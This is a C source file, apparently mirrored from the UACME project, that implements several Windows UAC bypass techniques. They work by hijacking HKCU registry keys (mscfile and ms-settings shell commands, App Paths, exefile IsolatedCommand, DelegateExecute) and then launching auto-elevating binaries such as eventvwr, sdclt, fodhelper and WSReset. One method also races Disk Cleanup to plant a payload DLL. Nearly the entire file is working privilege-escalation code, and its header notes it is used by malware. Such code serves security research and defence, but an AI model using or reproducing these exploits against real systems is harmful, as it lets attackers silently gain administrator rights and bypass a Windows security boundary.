mirror of https://github.com/hfiref0x/UACME.git
915 lines
24 KiB
C
915 lines
24 KiB
C
/*******************************************************************************
|
|
*
|
|
* (C) COPYRIGHT AUTHORS, 2016 - 2019
|
|
*
|
|
* TITLE: ENIGMA0X3.C
|
|
*
|
|
* VERSION: 3.19
|
|
*
|
|
* DATE: 22 May 2019
|
|
*
|
|
* Enigma0x3 autoelevation methods and everything based on the same
|
|
* ShellExecute related registry manipulations idea.
|
|
*
|
|
* Used by various malware.
|
|
*
|
|
* For description please visit original URL
|
|
* https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
|
|
* https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/
|
|
* https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
|
|
* https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/
|
|
* https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/
|
|
* http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass
|
|
* https://www.activecyber.us/1/post/2019/03/windows-uac-bypass.html
|
|
*
|
|
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
|
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
|
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
|
* PARTICULAR PURPOSE.
|
|
*
|
|
*******************************************************************************/
|
|
#include "global.h"
|
|
|
|
UCM_ENIGMA0x3_CTX g_EnigmaThreadCtx;
|
|
|
|
/*
|
|
* ucmHijackShellCommandMethod
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Overwrite Default value of mscfile shell command with your payload.
|
|
*
|
|
* Fixed in Windows 10 RS2
|
|
*
|
|
*/
|
|
NTSTATUS ucmHijackShellCommandMethod(
|
|
_In_opt_ LPWSTR lpszPayload,
|
|
_In_ LPWSTR lpszTargetApp,
|
|
_In_opt_ PVOID ProxyDll,
|
|
_In_opt_ DWORD ProxyDllSize
|
|
)
|
|
{
|
|
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
|
|
|
|
HKEY hKey = NULL;
|
|
LRESULT lResult;
|
|
LPWSTR lpBuffer = NULL;
|
|
SIZE_T sz;
|
|
WCHAR szBuffer[MAX_PATH * 2];
|
|
|
|
if (lpszTargetApp == NULL)
|
|
return FALSE;
|
|
|
|
do {
|
|
|
|
sz = 0;
|
|
if (lpszPayload == NULL) {
|
|
sz = PAGE_SIZE;
|
|
}
|
|
else {
|
|
sz = (1 + _strlen(lpszPayload)) * sizeof(WCHAR);
|
|
}
|
|
lpBuffer = (LPWSTR)supHeapAlloc(sz);
|
|
if (lpBuffer == NULL)
|
|
break;
|
|
|
|
if (lpszPayload != NULL) {
|
|
_strcpy(lpBuffer, lpszPayload);
|
|
}
|
|
else {
|
|
//no payload specified, use default fubuki, drop dll first as wdscore.dll to %temp%
|
|
if ((ProxyDll == NULL) || (ProxyDllSize == 0)) {
|
|
return STATUS_DATA_ERROR;
|
|
}
|
|
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
|
|
_strcpy(szBuffer, g_ctx->szTempDirectory);
|
|
_strcat(szBuffer, WDSCORE_DLL);
|
|
//write proxy dll to disk
|
|
if (!supWriteBufferToFile(szBuffer, ProxyDll, ProxyDllSize)) {
|
|
break;
|
|
}
|
|
|
|
//now rundll it
|
|
_strcpy(lpBuffer, RUNDLL_EXE_CMD);
|
|
_strcat(lpBuffer, szBuffer);
|
|
_strcat(lpBuffer, L",WdsInitialize");
|
|
}
|
|
|
|
_strcpy(szBuffer, T_MSC_SHELL);
|
|
_strcat(szBuffer, T_SHELL_OPEN_COMMAND);
|
|
lResult = RegCreateKeyEx(
|
|
HKEY_CURRENT_USER,
|
|
szBuffer,
|
|
0,
|
|
NULL,
|
|
REG_OPTION_NON_VOLATILE,
|
|
MAXIMUM_ALLOWED,
|
|
NULL,
|
|
&hKey,
|
|
NULL);
|
|
|
|
if (lResult != ERROR_SUCCESS)
|
|
break;
|
|
|
|
//
|
|
// Set "Default" value as our payload.
|
|
//
|
|
sz = (1 + _strlen(lpBuffer)) * sizeof(WCHAR);
|
|
lResult = RegSetValueEx(
|
|
hKey,
|
|
TEXT(""),
|
|
0,
|
|
REG_SZ,
|
|
(BYTE*)lpBuffer,
|
|
(DWORD)sz);
|
|
|
|
if (lResult != ERROR_SUCCESS)
|
|
break;
|
|
|
|
if (supRunProcess(lpszTargetApp, NULL))
|
|
MethodResult = STATUS_SUCCESS;
|
|
|
|
} while (FALSE);
|
|
|
|
if (lpBuffer != NULL)
|
|
supHeapFree(lpBuffer);
|
|
|
|
if (hKey != NULL)
|
|
RegCloseKey(hKey);
|
|
|
|
return MethodResult;
|
|
}
|
|
|
|
/*
|
|
* ucmDiskCleanupWorkerThread
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Worker thread.
|
|
*
|
|
*/
|
|
DWORD ucmDiskCleanupWorkerThread(
|
|
LPVOID Parameter
|
|
)
|
|
{
|
|
NTSTATUS status;
|
|
HANDLE hDirectory = NULL, hEvent = NULL;
|
|
SIZE_T sz;
|
|
PVOID Buffer = NULL;
|
|
LPWSTR fp = NULL;
|
|
UCM_ENIGMA0x3_CTX *Context = (UCM_ENIGMA0x3_CTX *)Parameter;
|
|
FILE_NOTIFY_INFORMATION *pInfo = NULL;
|
|
UNICODE_STRING usName;
|
|
IO_STATUS_BLOCK IoStatusBlock;
|
|
OBJECT_ATTRIBUTES ObjectAttributes;
|
|
WCHAR szFileName[MAX_PATH * 2], szTempBuffer[MAX_PATH + 1];
|
|
|
|
do {
|
|
|
|
RtlSecureZeroMemory(&usName, sizeof(usName));
|
|
if (!RtlDosPathNameToNtPathName_U(Context->szTempDirectory, &usName, NULL, NULL))
|
|
break;
|
|
|
|
InitializeObjectAttributes(&ObjectAttributes, &usName, OBJ_CASE_INSENSITIVE, 0, NULL);
|
|
|
|
status = NtCreateFile(&hDirectory,
|
|
FILE_LIST_DIRECTORY | SYNCHRONIZE,
|
|
&ObjectAttributes,
|
|
&IoStatusBlock,
|
|
NULL,
|
|
FILE_OPEN_FOR_BACKUP_INTENT,
|
|
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
|
|
FILE_OPEN,
|
|
FILE_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT,
|
|
NULL,
|
|
0);
|
|
|
|
if (!NT_SUCCESS(status))
|
|
break;
|
|
|
|
sz = 1024 * 1024;
|
|
Buffer = supHeapAlloc(sz);
|
|
if (Buffer == NULL)
|
|
break;
|
|
|
|
InitializeObjectAttributes(&ObjectAttributes, NULL, 0, 0, NULL);
|
|
status = NtCreateEvent(&hEvent, EVENT_ALL_ACCESS, &ObjectAttributes, NotificationEvent, FALSE);
|
|
if (!NT_SUCCESS(status))
|
|
break;
|
|
|
|
do {
|
|
|
|
status = NtNotifyChangeDirectoryFile(hDirectory, hEvent, NULL, NULL,
|
|
&IoStatusBlock, Buffer, (ULONG)sz, FILE_NOTIFY_CHANGE_FILE_NAME, TRUE);
|
|
|
|
if (status == STATUS_PENDING)
|
|
NtWaitForSingleObject(hEvent, TRUE, NULL);
|
|
|
|
NtSetEvent(hEvent, NULL);
|
|
|
|
pInfo = (FILE_NOTIFY_INFORMATION*)Buffer;
|
|
for (;;) {
|
|
|
|
if (pInfo->Action == FILE_ACTION_ADDED) {
|
|
|
|
RtlSecureZeroMemory(szTempBuffer, sizeof(szTempBuffer));
|
|
_strncpy(szTempBuffer, MAX_PATH, pInfo->FileName, pInfo->FileNameLength / sizeof(WCHAR));
|
|
|
|
if ((szTempBuffer[8] == L'-') && //
|
|
(szTempBuffer[13] == L'-') && // If GUID form directory name.
|
|
(szTempBuffer[18] == L'-') && //
|
|
(szTempBuffer[23] == L'-'))
|
|
{
|
|
//If it is file after LogProvider.dll
|
|
fp = _filename(szTempBuffer);
|
|
if (_strcmpi(fp, PROVPROVIDER_DLL) == 0) {
|
|
RtlSecureZeroMemory(szFileName, sizeof(szFileName));
|
|
_strcpy(szFileName, Context->szTempDirectory);
|
|
fp = _filepath(szTempBuffer, szTempBuffer);
|
|
if (fp) {
|
|
_strcat(szFileName, fp); //slash on the end
|
|
_strcat(szFileName, LOGPROVIDER_DLL);
|
|
supWriteBufferToFile(szFileName, Context->PayloadDll, Context->PayloadDllSize);
|
|
}
|
|
status = STATUS_NO_SECRETS;
|
|
} //_strcmpi
|
|
} //guid test
|
|
} //Action
|
|
|
|
if (status == STATUS_NO_SECRETS)
|
|
break;
|
|
|
|
pInfo = (FILE_NOTIFY_INFORMATION*)(((LPBYTE)pInfo) + pInfo->NextEntryOffset);
|
|
if (pInfo->NextEntryOffset == 0)
|
|
break;
|
|
}
|
|
|
|
} while (NT_SUCCESS(status));
|
|
|
|
} while (FALSE);
|
|
|
|
if (usName.Buffer) {
|
|
RtlFreeUnicodeString(&usName);
|
|
}
|
|
|
|
if (hDirectory != NULL)
|
|
NtClose(hDirectory);
|
|
|
|
if (hEvent)
|
|
NtClose(hEvent);
|
|
|
|
if (Buffer != NULL)
|
|
supHeapFree(Buffer);
|
|
|
|
return 0;
|
|
}
|
|
|
|
/*
|
|
* ucmDiskCleanupRaceCondition
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Use cleanmgr innovation implemented in Windows 10+.
|
|
* Cleanmgr.exe uses full copy of dismhost.exe from local %temp% directory.
|
|
* RC friendly.
|
|
* Warning: this method works with AlwaysNotify UAC level.
|
|
*
|
|
* Fixed in Windows 10 RS2
|
|
*
|
|
*/
|
|
NTSTATUS ucmDiskCleanupRaceCondition(
|
|
_In_ PVOID PayloadDll,
|
|
_In_ DWORD PayloadDllSize
|
|
)
|
|
{
|
|
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
|
|
DWORD ti;
|
|
HANDLE hThread = NULL;
|
|
SHELLEXECUTEINFO shinfo;
|
|
|
|
RtlSecureZeroMemory(&g_EnigmaThreadCtx, sizeof(g_EnigmaThreadCtx));
|
|
|
|
g_EnigmaThreadCtx.PayloadDll = PayloadDll;
|
|
g_EnigmaThreadCtx.PayloadDllSize = PayloadDllSize;
|
|
_strcpy(g_EnigmaThreadCtx.szTempDirectory, g_ctx->szTempDirectory);
|
|
|
|
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ucmDiskCleanupWorkerThread, &g_EnigmaThreadCtx, 0, &ti);
|
|
if (hThread) {
|
|
RtlSecureZeroMemory(&shinfo, sizeof(shinfo));
|
|
shinfo.cbSize = sizeof(shinfo);
|
|
shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
|
|
shinfo.lpFile = SCHTASKS_EXE;
|
|
shinfo.lpParameters = T_SCHTASKS_CMD;
|
|
shinfo.nShow = SW_SHOW;
|
|
if (ShellExecuteEx(&shinfo)) {
|
|
if (shinfo.hProcess != NULL) {
|
|
WaitForSingleObject(shinfo.hProcess, INFINITE);
|
|
CloseHandle(shinfo.hProcess);
|
|
}
|
|
}
|
|
//
|
|
// Because cleanmgr.exe is slow we need to wait enough time until it will try to launch dismhost.exe
|
|
// It may happen very fast or really slow depending on resources usage.
|
|
// Well lets hope 10 min is enough.
|
|
//
|
|
if (WaitForSingleObject(hThread, 60000 * 10) == WAIT_OBJECT_0)
|
|
MethodResult = STATUS_SUCCESS;
|
|
CloseHandle(hThread);
|
|
}
|
|
return MethodResult;
|
|
}
|
|
|
|
/*
|
|
* ucmAppPathMethod
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Give target application our payload to execute because we can control App Path key data.
|
|
*
|
|
* E.g.
|
|
* lpszPayload = your.exe
|
|
* lpszAppPathTarget = control.exe
|
|
* lpszTargetApp = sdclt.exe
|
|
*
|
|
* Create key HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\<lpszAppPathTarget>
|
|
* Set default key value to <lpszPayload>
|
|
* Run <lpszTargetApp>
|
|
*
|
|
* Fixed in Windows 10 RS3
|
|
*
|
|
*/
|
|
NTSTATUS ucmAppPathMethod(
|
|
_In_ LPWSTR lpszPayload,
|
|
_In_ LPWSTR lpszAppPathTarget,
|
|
_In_ LPWSTR lpszTargetApp
|
|
)
|
|
{
|
|
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
|
|
|
|
#ifndef _WIN64
|
|
NTSTATUS Status;
|
|
#endif
|
|
|
|
LRESULT lResult;
|
|
HKEY hKey = NULL;
|
|
LPWSTR lpKeyPath = NULL;
|
|
SIZE_T sz;
|
|
|
|
if (lpszAppPathTarget == NULL)
|
|
return STATUS_INVALID_PARAMETER_2;
|
|
|
|
if (lpszTargetApp == NULL)
|
|
return STATUS_INVALID_PARAMETER_3;
|
|
|
|
//
|
|
// If under Wow64 disable redirection.
|
|
// Some target applications may not exists in wow64 folder.
|
|
//
|
|
#ifndef _WIN64
|
|
if (g_ctx->IsWow64) {
|
|
Status = supEnableDisableWow64Redirection(TRUE);
|
|
if (!NT_SUCCESS(Status))
|
|
return Status;
|
|
}
|
|
#endif
|
|
|
|
do {
|
|
|
|
sz = (1 + _strlen(lpszAppPathTarget)) * sizeof(WCHAR) + sizeof(T_APP_PATH);
|
|
lpKeyPath = (LPWSTR)supHeapAlloc(sz);
|
|
if (lpKeyPath == NULL)
|
|
break;
|
|
|
|
//
|
|
// Create App Path key for our target app.
|
|
//
|
|
_strcpy(lpKeyPath, T_APP_PATH);
|
|
_strcat(lpKeyPath, lpszAppPathTarget);
|
|
lResult = RegCreateKeyEx(HKEY_CURRENT_USER,
|
|
lpKeyPath, 0, NULL, REG_OPTION_NON_VOLATILE, MAXIMUM_ALLOWED, NULL, &hKey, NULL);
|
|
|
|
//
|
|
// Set "Default" value as our payload.
|
|
//
|
|
if (lResult == ERROR_SUCCESS) {
|
|
sz = (1 + _strlen(lpszPayload)) * sizeof(WCHAR);
|
|
lResult = RegSetValueEx(
|
|
hKey,
|
|
TEXT(""),
|
|
0,
|
|
REG_SZ,
|
|
(BYTE*)lpszPayload,
|
|
(DWORD)sz);
|
|
|
|
//
|
|
// Finally run target app.
|
|
//
|
|
if (lResult == ERROR_SUCCESS)
|
|
if (supRunProcess(lpszTargetApp, NULL))
|
|
MethodResult = STATUS_SUCCESS;
|
|
|
|
RegCloseKey(hKey);
|
|
RegDeleteKey(HKEY_CURRENT_USER, lpKeyPath);
|
|
}
|
|
|
|
} while (FALSE);
|
|
|
|
if (lpKeyPath != NULL)
|
|
supHeapFree(lpKeyPath);
|
|
|
|
//
|
|
// Reenable wow64 redirection if under wow64.
|
|
//
|
|
#ifndef _WIN64
|
|
if (g_ctx->IsWow64) {
|
|
supEnableDisableWow64Redirection(FALSE);
|
|
}
|
|
#endif
|
|
|
|
return MethodResult;
|
|
}
|
|
|
|
/*
|
|
* ucmSdcltIsolatedCommandMethod
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Use IsolatedCommand value of exefile shell command for your payload.
|
|
* Trigger: sdclt.exe with /kickoffelev param (force it to use ShellExecuteEx)
|
|
*
|
|
* Additional triggers:
|
|
* (they won't be included because they are basically all the same)
|
|
*
|
|
* rstrui.exe with /runonce param
|
|
* SystemSettingsAdminFlows.exe with PushButtonReset param
|
|
*
|
|
* Fixed in Windows 10 RS4 (all cases)
|
|
*
|
|
*/
|
|
NTSTATUS ucmSdcltIsolatedCommandMethod(
|
|
_In_ LPWSTR lpszPayload
|
|
)
|
|
{
|
|
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
|
|
|
|
#ifndef _WIN64
|
|
NTSTATUS Status;
|
|
#endif
|
|
|
|
BOOL bExist = FALSE;
|
|
DWORD cbData, cbOldData = 0;
|
|
SIZE_T sz = 0;
|
|
LRESULT lResult;
|
|
|
|
LPWSTR lpTargetValue = NULL;
|
|
HKEY hKey = NULL;
|
|
|
|
WCHAR szBuffer[MAX_PATH * 2];
|
|
WCHAR szOldValue[MAX_PATH + 1];
|
|
|
|
#ifndef _WIN64
|
|
if (g_ctx->IsWow64) {
|
|
Status = supEnableDisableWow64Redirection(TRUE);
|
|
if (!NT_SUCCESS(Status))
|
|
return Status;
|
|
}
|
|
#endif
|
|
|
|
do {
|
|
|
|
sz = _strlen(lpszPayload);
|
|
|
|
_strcpy(szBuffer, T_EXEFILE_SHELL);
|
|
_strcat(szBuffer, T_SHELL_RUNAS_COMMAND);
|
|
lResult = RegCreateKeyEx(HKEY_CURRENT_USER, szBuffer, 0, NULL,
|
|
REG_OPTION_NON_VOLATILE, MAXIMUM_ALLOWED, NULL, &hKey, NULL);
|
|
|
|
if (lResult != ERROR_SUCCESS)
|
|
break;
|
|
|
|
//
|
|
// There is a fix of original concept in 16237 RS3.
|
|
// Bypass it.
|
|
//
|
|
if (g_ctx->dwBuildNumber >= 16237) {
|
|
lpTargetValue = TEXT("");
|
|
}
|
|
else {
|
|
lpTargetValue = T_ISOLATEDCOMMAND;
|
|
}
|
|
|
|
//
|
|
// Save old value if exist.
|
|
//
|
|
cbOldData = MAX_PATH * 2;
|
|
RtlSecureZeroMemory(&szOldValue, sizeof(szOldValue));
|
|
lResult = RegQueryValueEx(hKey, lpTargetValue, 0, NULL,
|
|
(BYTE*)szOldValue, &cbOldData);
|
|
if (lResult == ERROR_SUCCESS)
|
|
bExist = TRUE;
|
|
|
|
cbData = (DWORD)((1 + sz) * sizeof(WCHAR));
|
|
|
|
lResult = RegSetValueEx(
|
|
hKey,
|
|
lpTargetValue,
|
|
0,
|
|
REG_SZ,
|
|
(BYTE*)lpszPayload,
|
|
cbData);
|
|
|
|
if (lResult == ERROR_SUCCESS) {
|
|
_strcpy(szBuffer, g_ctx->szSystemDirectory);
|
|
_strcat(szBuffer, SDCLT_EXE);
|
|
|
|
if (supRunProcess(szBuffer, TEXT("/KICKOFFELEV")))
|
|
MethodResult = STATUS_SUCCESS;
|
|
|
|
if (bExist == FALSE) {
|
|
//
|
|
// We created this value, remove it.
|
|
//
|
|
RegDeleteValue(hKey, lpTargetValue);
|
|
}
|
|
else {
|
|
//
|
|
// Value was before us, restore original.
|
|
//
|
|
RegSetValueEx(hKey, lpTargetValue, 0, REG_SZ,
|
|
(BYTE*)szOldValue, cbOldData);
|
|
}
|
|
}
|
|
|
|
} while (FALSE);
|
|
|
|
if (hKey != NULL)
|
|
RegCloseKey(hKey);
|
|
|
|
#ifndef _WIN64
|
|
if (g_ctx->IsWow64) {
|
|
supEnableDisableWow64Redirection(FALSE);
|
|
}
|
|
#endif
|
|
|
|
return MethodResult;
|
|
}
|
|
|
|
/*
|
|
* ucmMsSettingsDelegateExecuteMethod
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Overwrite Default value of ms-settings shell command with your payload.
|
|
* Enable it with DelegateExecute value.
|
|
*
|
|
* Trigger: fodhelper.exe, computerdefaults.exe
|
|
*
|
|
*/
|
|
NTSTATUS ucmMsSettingsDelegateExecuteMethod(
|
|
_In_ LPWSTR lpszPayload
|
|
)
|
|
{
|
|
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
|
|
|
|
#ifndef _WIN64
|
|
NTSTATUS Status;
|
|
#endif
|
|
|
|
DWORD cbData;
|
|
SIZE_T sz = 0;
|
|
LRESULT lResult;
|
|
LPWSTR lpTargetApp = NULL;
|
|
HKEY hKey = NULL;
|
|
|
|
WCHAR szTempBuffer[MAX_PATH * 2];
|
|
|
|
//
|
|
// Trigger application doesn't exist in wow64.
|
|
//
|
|
#ifndef _WIN64
|
|
if (g_ctx->IsWow64) {
|
|
Status = supEnableDisableWow64Redirection(TRUE);
|
|
if (!NT_SUCCESS(Status))
|
|
return Status;
|
|
}
|
|
#endif
|
|
|
|
do {
|
|
|
|
sz = _strlen(lpszPayload);
|
|
|
|
_strcpy(szTempBuffer, T_MSSETTINGS);
|
|
_strcat(szTempBuffer, T_SHELL_OPEN_COMMAND);
|
|
lResult = RegCreateKeyEx(HKEY_CURRENT_USER, szTempBuffer, 0, NULL,
|
|
REG_OPTION_NON_VOLATILE, MAXIMUM_ALLOWED, NULL, &hKey, NULL);
|
|
|
|
if (lResult != ERROR_SUCCESS)
|
|
break;
|
|
|
|
//
|
|
// Set empty DelegateExecute value.
|
|
//
|
|
szTempBuffer[0] = 0;
|
|
cbData = 0;
|
|
lResult = RegSetValueEx(
|
|
hKey,
|
|
T_DELEGATEEXECUTE,
|
|
0, REG_SZ,
|
|
(BYTE*)szTempBuffer,
|
|
cbData);
|
|
|
|
if (lResult != ERROR_SUCCESS)
|
|
break;
|
|
|
|
//
|
|
// Set "Default" value as our payload.
|
|
//
|
|
cbData = (DWORD)((1 + sz) * sizeof(WCHAR));
|
|
|
|
lResult = RegSetValueEx(
|
|
hKey,
|
|
TEXT(""),
|
|
0, REG_SZ,
|
|
(BYTE*)lpszPayload,
|
|
cbData);
|
|
|
|
if (lResult == ERROR_SUCCESS) {
|
|
_strcpy(szTempBuffer, g_ctx->szSystemDirectory);
|
|
|
|
//
|
|
// Not because it was fixed but because this was added in RS4 _additionaly_
|
|
//
|
|
lpTargetApp = FODHELPER_EXE;
|
|
|
|
if (g_ctx->dwBuildNumber > 16299) {
|
|
|
|
if (IDYES == ucmShowQuestion(
|
|
TEXT("Would you like to use this method with ComputerDefaults.exe (YES) or Fodhelper.exe (NO)?")))
|
|
{
|
|
lpTargetApp = COMPUTERDEFAULTS_EXE;
|
|
}
|
|
}
|
|
|
|
_strcat(szTempBuffer, lpTargetApp);
|
|
|
|
if (supRunProcess(szTempBuffer, NULL))
|
|
MethodResult = STATUS_SUCCESS;
|
|
|
|
supRegDeleteKeyRecursive(HKEY_CURRENT_USER, T_MSSETTINGS);
|
|
}
|
|
|
|
} while (FALSE);
|
|
|
|
if (hKey != NULL)
|
|
RegCloseKey(hKey);
|
|
|
|
#ifndef _WIN64
|
|
if (g_ctx->IsWow64) {
|
|
supEnableDisableWow64Redirection(FALSE);
|
|
}
|
|
#endif
|
|
|
|
return MethodResult;
|
|
}
|
|
|
|
/*
|
|
* ucmShellDelegateExecuteCommandMethod
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Bypass UAC abusing COM entry hijack.
|
|
* Original authors links: http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass
|
|
* https://www.activecyber.us/1/post/2019/03/windows-uac-bypass.html
|
|
*
|
|
* Targets:
|
|
* sdclt.exe without params for Emeric Nasi method
|
|
* WSReset.exe without params for Hashim Jawad method
|
|
*
|
|
*/
|
|
NTSTATUS ucmShellDelegateExecuteCommandMethod(
|
|
_In_ LPWSTR lpTargetApp,
|
|
_In_ SIZE_T cchTargetApp, //in chars, future use
|
|
_In_ LPWSTR lpTargetKey,
|
|
_In_ SIZE_T cchTargetKey, //in chars, future use
|
|
_In_ LPWSTR lpPayload,
|
|
_In_ SIZE_T cchPayload //in chars, future use
|
|
)
|
|
{
|
|
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
|
|
|
|
#ifndef _WIN64
|
|
NTSTATUS Status;
|
|
#endif
|
|
|
|
BOOL bExist = FALSE, bDelegateExecuteExist = FALSE;
|
|
DWORD cbData, cbOldData = 0, cbOldDelegateData = 0, dwDisposition = 0;
|
|
LRESULT lResult;
|
|
|
|
LPWSTR lpTargetValue = TEXT("");
|
|
HKEY hKey = NULL;
|
|
|
|
WCHAR szKey[MAX_PATH + 1];
|
|
WCHAR szBuffer[MAX_PATH * 2];
|
|
WCHAR szOldValue[MAX_PATH + 1];
|
|
WCHAR szOldDelegateExecute[MAX_PATH + 1];
|
|
|
|
#ifndef _WIN64
|
|
if (g_ctx->IsWow64) {
|
|
Status = supEnableDisableWow64Redirection(TRUE);
|
|
if (!NT_SUCCESS(Status))
|
|
return Status;
|
|
}
|
|
#endif
|
|
|
|
#ifdef _DEBUG
|
|
g_ctx->MethodExecuteType = ucmExTypeIndirectModification;
|
|
#endif
|
|
|
|
do {
|
|
if ((cchTargetApp >= MAX_PATH) || (cchTargetApp == 0))
|
|
return STATUS_INVALID_PARAMETER_2;
|
|
if ((cchTargetKey >= MAX_PATH) || (cchTargetKey == 0))
|
|
return STATUS_INVALID_PARAMETER_4;
|
|
if (cchPayload == 0)
|
|
return STATUS_INVALID_PARAMETER_6;
|
|
|
|
_strcpy(szKey, lpTargetKey);
|
|
_strcat(szKey, T_SHELL_OPEN_COMMAND);
|
|
lResult = RegCreateKeyEx(HKEY_CURRENT_USER, szKey, 0, NULL,
|
|
REG_OPTION_NON_VOLATILE, MAXIMUM_ALLOWED, NULL, &hKey, &dwDisposition);
|
|
|
|
if (lResult != ERROR_SUCCESS)
|
|
break;
|
|
|
|
//
|
|
// Save old value if exist.
|
|
//
|
|
cbOldData = MAX_PATH * 2;
|
|
RtlSecureZeroMemory(&szOldValue, sizeof(szOldValue));
|
|
lResult = RegQueryValueEx(hKey, lpTargetValue, 0, NULL,
|
|
(BYTE*)szOldValue, &cbOldData);
|
|
if (lResult == ERROR_SUCCESS)
|
|
bExist = TRUE;
|
|
|
|
//
|
|
// Save old DelegateExecute value if exist.
|
|
//
|
|
cbOldDelegateData = MAX_PATH * 2;
|
|
RtlSecureZeroMemory(&szOldDelegateExecute, sizeof(szOldDelegateExecute));
|
|
lResult = RegQueryValueEx(hKey, T_DELEGATEEXECUTE, 0, NULL,
|
|
(BYTE*)szOldDelegateExecute, &cbOldDelegateData);
|
|
if (lResult == ERROR_SUCCESS)
|
|
bDelegateExecuteExist = TRUE;
|
|
|
|
lResult = ERROR_ACCESS_DENIED;
|
|
|
|
switch (g_ctx->MethodExecuteType) {
|
|
|
|
case ucmExTypeIndirectModification:
|
|
|
|
//
|
|
// Set empty DelegateExecute value.
|
|
//
|
|
if (supIndirectRegAdd(REG_HKCU,
|
|
szKey,
|
|
T_DELEGATEEXECUTE,
|
|
T_REG_SZ,
|
|
TEXT("")))
|
|
{
|
|
//
|
|
// Set "Default" value.
|
|
//
|
|
if (supIndirectRegAdd(REG_HKCU,
|
|
szKey,
|
|
lpTargetValue,
|
|
T_REG_SZ,
|
|
lpPayload))
|
|
{
|
|
lResult = ERROR_SUCCESS;
|
|
}
|
|
}
|
|
|
|
break;
|
|
|
|
case ucmExTypeDefault:
|
|
default:
|
|
|
|
//
|
|
// Set empty DelegateExecute value.
|
|
//
|
|
cbData = 0;
|
|
szBuffer[0] = 0;
|
|
lResult = RegSetValueEx(
|
|
hKey,
|
|
T_DELEGATEEXECUTE,
|
|
0, REG_SZ,
|
|
(BYTE*)szBuffer,
|
|
cbData);
|
|
|
|
if (lResult == ERROR_SUCCESS) {
|
|
|
|
//
|
|
// Set "Default" value.
|
|
//
|
|
cbData = (DWORD)((1 + cchPayload) * sizeof(WCHAR));
|
|
lResult = RegSetValueEx(
|
|
hKey,
|
|
lpTargetValue,
|
|
0, REG_SZ,
|
|
(BYTE*)lpPayload,
|
|
cbData);
|
|
|
|
}
|
|
|
|
break;
|
|
}
|
|
|
|
if (lResult == ERROR_SUCCESS) {
|
|
|
|
RegFlushKey(hKey);
|
|
|
|
_strcpy(szBuffer, g_ctx->szSystemDirectory);
|
|
_strcat(szBuffer, lpTargetApp);
|
|
if (supRunProcess2(szBuffer, NULL, NULL, SW_HIDE, TRUE))
|
|
MethodResult = STATUS_SUCCESS;
|
|
|
|
Sleep(5000); //wait a bit until this shell shit complete it internals
|
|
//not required if you don't cleanup or use reg.exe
|
|
|
|
if (bExist == FALSE) {
|
|
//
|
|
// We created this value, remove it.
|
|
//
|
|
RegDeleteValue(hKey, lpTargetValue);
|
|
|
|
}
|
|
else {
|
|
//
|
|
// Value was before us, restore original.
|
|
//
|
|
switch (g_ctx->MethodExecuteType) {
|
|
|
|
case ucmExTypeIndirectModification:
|
|
|
|
supIndirectRegAdd(REG_HKCU,
|
|
szKey,
|
|
lpTargetValue,
|
|
T_REG_SZ,
|
|
szOldValue);
|
|
|
|
break;
|
|
|
|
default:
|
|
RegSetValueEx(hKey, lpTargetValue, 0, REG_SZ,
|
|
(BYTE*)szOldValue, cbOldData);
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
|
|
//
|
|
// If DelegateExecute was before restore it else remove.
|
|
//
|
|
if (bDelegateExecuteExist) {
|
|
switch (g_ctx->MethodExecuteType) {
|
|
|
|
case ucmExTypeIndirectModification:
|
|
|
|
supIndirectRegAdd(REG_HKCU,
|
|
szKey,
|
|
T_DELEGATEEXECUTE,
|
|
T_REG_SZ,
|
|
szOldDelegateExecute);
|
|
|
|
break;
|
|
|
|
case ucmExTypeDefault:
|
|
default:
|
|
RegSetValueEx(hKey, T_DELEGATEEXECUTE, 0, REG_SZ,
|
|
(BYTE*)szOldDelegateExecute, cbOldDelegateData);
|
|
break;
|
|
}
|
|
}
|
|
else {
|
|
RegDeleteValue(hKey, T_DELEGATEEXECUTE);
|
|
}
|
|
|
|
} while (FALSE);
|
|
|
|
if (hKey != NULL)
|
|
RegCloseKey(hKey);
|
|
|
|
if (dwDisposition == REG_CREATED_NEW_KEY) {
|
|
supRegDeleteKeyRecursive(HKEY_CURRENT_USER, lpTargetKey);
|
|
}
|
|
|
|
|
|
#ifndef _WIN64
|
|
if (g_ctx->IsWow64) {
|
|
supEnableDisableWow64Redirection(FALSE);
|
|
}
|
|
#endif
|
|
|
|
return MethodResult;
|
|
}
|